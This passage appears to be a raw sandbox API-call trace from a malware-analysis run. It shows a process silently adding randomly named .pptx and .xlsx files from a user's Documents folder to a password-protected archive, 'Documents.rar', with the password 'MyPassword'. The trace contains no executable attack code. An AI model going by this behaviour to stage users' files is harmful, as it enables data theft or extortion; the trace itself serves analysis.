lpString="adding") returned 6 [0068.381] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.381] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="N5ZN.pptx") returned 9 [0068.381] SetWindowTextW (hWnd=0x10280, lpString="N8uU1e.xlsx") returned 1 [0068.381] GetTickCount () returned 0xa6762b [0068.381] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.381] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.382] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.382] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.382] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x4)) [0068.382] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.382] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14372202558) returned 1 [0068.382] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x6a7d, lpOverlapped=0x0) returned 1 [0068.382] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a6abd, nNumberOfBytesToRead=0xf9583, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a6abd*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.382] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.382] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.382] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ec0, Size=0x48) returned 0x39db40 [0068.382] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.382] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.382] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ec0, Size=0x48) returned 0x39daf0 [0068.382] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.382] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.382] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.382] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.382] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ef0 | out: hHeap=0x2e0000) returned 1 [0068.382] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ec0 | out: hHeap=0x2e0000) returned 1 [0068.382] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e90, Size=0x48) returned 0x39db40 [0068.382] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.382] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.383] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.384] GetTickCount () returned 0xa6762b [0068.384] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14372474913) returned 1 [0068.384] GetTickCount () returned 0xa6762b [0068.384] GetTickCount () returned 0xa6762b [0068.384] GetTickCount () returned 0xa6762b [0068.384] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.384] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.384] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.385] ResetEvent (hEvent=0x1a4) returned 1 [0068.385] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.386] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.386] ResetEvent (hEvent=0x1a4) returned 1 [0068.386] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.387] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.387] GetTickCount () returned 0xa6762b [0068.387] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14372766487) returned 1 [0068.387] GetTickCount () returned 0xa6762b [0068.387] GetTickCount () returned 0xa6762b [0068.387] GetTickCount () returned 0xa6762b [0068.387] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.387] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.387] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.387] ResetEvent (hEvent=0x190) returned 1 [0068.387] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.388] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.388] ResetEvent (hEvent=0x190) returned 1 [0068.388] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.388] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.388] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.388] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.388] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x22626e [0068.388] SetFilePointer (in: hFile=0x198, lDistanceToMove=95, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2262cd [0068.388] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.388] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.388] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.389] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.389] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x6ac0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x6ac0, lpOverlapped=0x0) returned 1 [0068.389] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.389] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.390] SetFilePointer (in: hFile=0x198, lDistanceToMove=2253422, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x22626e [0068.390] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x22626e [0068.390] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.390] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.390] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ec0, Size=0x48) returned 0x39daf0 [0068.390] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.390] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.390] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ec0, Size=0x48) returned 0x39db40 [0068.390] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.390] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.390] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.390] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.390] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ef0 | out: hHeap=0x2e0000) returned 1 [0068.390] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ec0 | out: hHeap=0x2e0000) returned 1 [0068.390] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e90, Size=0x48) returned 0x39daf0 [0068.390] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.390] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5f, lpOverlapped=0x0) returned 1 [0068.390] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.390] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5f) returned 0x3b646e0 [0068.390] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.390] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.390] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x22cd8d [0068.390] CloseHandle (hObject=0x1b0) returned 1 [0068.390] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.391] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.391] GetFocus () returned 0x0 [0068.391] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.391] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.391] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.391] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.391] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.391] FindFirstFileW (in: lpFileName="oAWd.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.391] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.391] CreateFileW (lpFileName="oAWd.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\oawd.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.391] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.391] GetTickCount () returned 0xa6763b [0068.391] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.391] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.391] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.391] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.391] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="N8uU1e.xlsx") returned 11 [0068.391] SetWindowTextW (hWnd=0x10280, lpString="oAWd.pptx") returned 1 [0068.392] GetTickCount () returned 0xa6763b [0068.392] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.392] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.392] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.392] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.392] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x14)) [0068.392] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.392] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14373362487) returned 1 [0068.393] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x4969, lpOverlapped=0x0) returned 1 [0068.394] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a49a9, nNumberOfBytesToRead=0xfb697, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a49a9*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.394] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.394] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.394] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ef0, Size=0x48) returned 0x39db40 [0068.394] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.394] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.394] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ef0, Size=0x48) returned 0x39daf0 [0068.394] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.394] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.394] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.394] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.394] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f20 | out: hHeap=0x2e0000) returned 1 [0068.394] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ef0 | out: hHeap=0x2e0000) returned 1 [0068.394] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ec0, Size=0x48) returned 0x39db40 [0068.394] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.394] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.394] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.395] GetTickCount () returned 0xa6763b [0068.395] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14373513046) returned 1 [0068.395] GetTickCount () returned 0xa6763b [0068.395] GetTickCount () returned 0xa6763b [0068.395] GetTickCount () returned 0xa6763b [0068.395] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.395] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.395] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.395] ResetEvent (hEvent=0x1a4) returned 1 [0068.395] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.396] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.396] ResetEvent (hEvent=0x1a4) returned 1 [0068.396] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.397] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.397] GetTickCount () returned 0xa6763b [0068.397] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14373728089) returned 1 [0068.397] GetTickCount () returned 0xa6763b [0068.397] GetTickCount () returned 0xa6763b [0068.397] GetTickCount () returned 0xa6763b [0068.397] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.397] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.397] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.397] ResetEvent (hEvent=0x190) returned 1 [0068.397] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.397] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.397] ResetEvent (hEvent=0x190) returned 1 [0068.397] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.398] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.398] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.398] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.398] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x22cd8d [0068.398] SetFilePointer (in: hFile=0x198, lDistanceToMove=93, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x22cdea [0068.398] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.398] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.398] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.398] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.398] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x49d0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x49d0, lpOverlapped=0x0) returned 1 [0068.398] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.399] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.399] SetFilePointer (in: hFile=0x198, lDistanceToMove=2280845, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x22cd8d [0068.399] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x22cd8d [0068.399] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.399] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.399] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ef0, Size=0x48) returned 0x39daf0 [0068.399] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.399] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.399] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ef0, Size=0x48) returned 0x39db40 [0068.399] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.399] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.399] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ef0 [0068.399] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f20 [0068.399] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f20 | out: hHeap=0x2e0000) returned 1 [0068.399] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ef0 | out: hHeap=0x2e0000) returned 1 [0068.399] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ec0, Size=0x48) returned 0x39daf0 [0068.399] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.399] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5d, lpOverlapped=0x0) returned 1 [0068.399] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.399] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5d) returned 0x3b64750 [0068.399] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.399] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.399] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2317ba [0068.399] CloseHandle (hObject=0x1b0) returned 1 [0068.399] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.399] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.399] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.399] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.399] FindFirstFileW (in: lpFileName="OhMb-UaJPoxHiI.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.399] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.399] CreateFileW (lpFileName="OhMb-UaJPoxHiI.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\ohmb-uajpoxhii.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.399] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.399] GetTickCount () returned 0xa6763b [0068.399] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.399] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.399] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.399] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.399] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="oAWd.pptx") returned 9 [0068.400] SetWindowTextW (hWnd=0x10280, lpString="OhMb-UaJPoxHiI.pptx") returned 1 [0068.400] GetTickCount () returned 0xa6763b [0068.400] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.400] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.400] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.400] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.400] 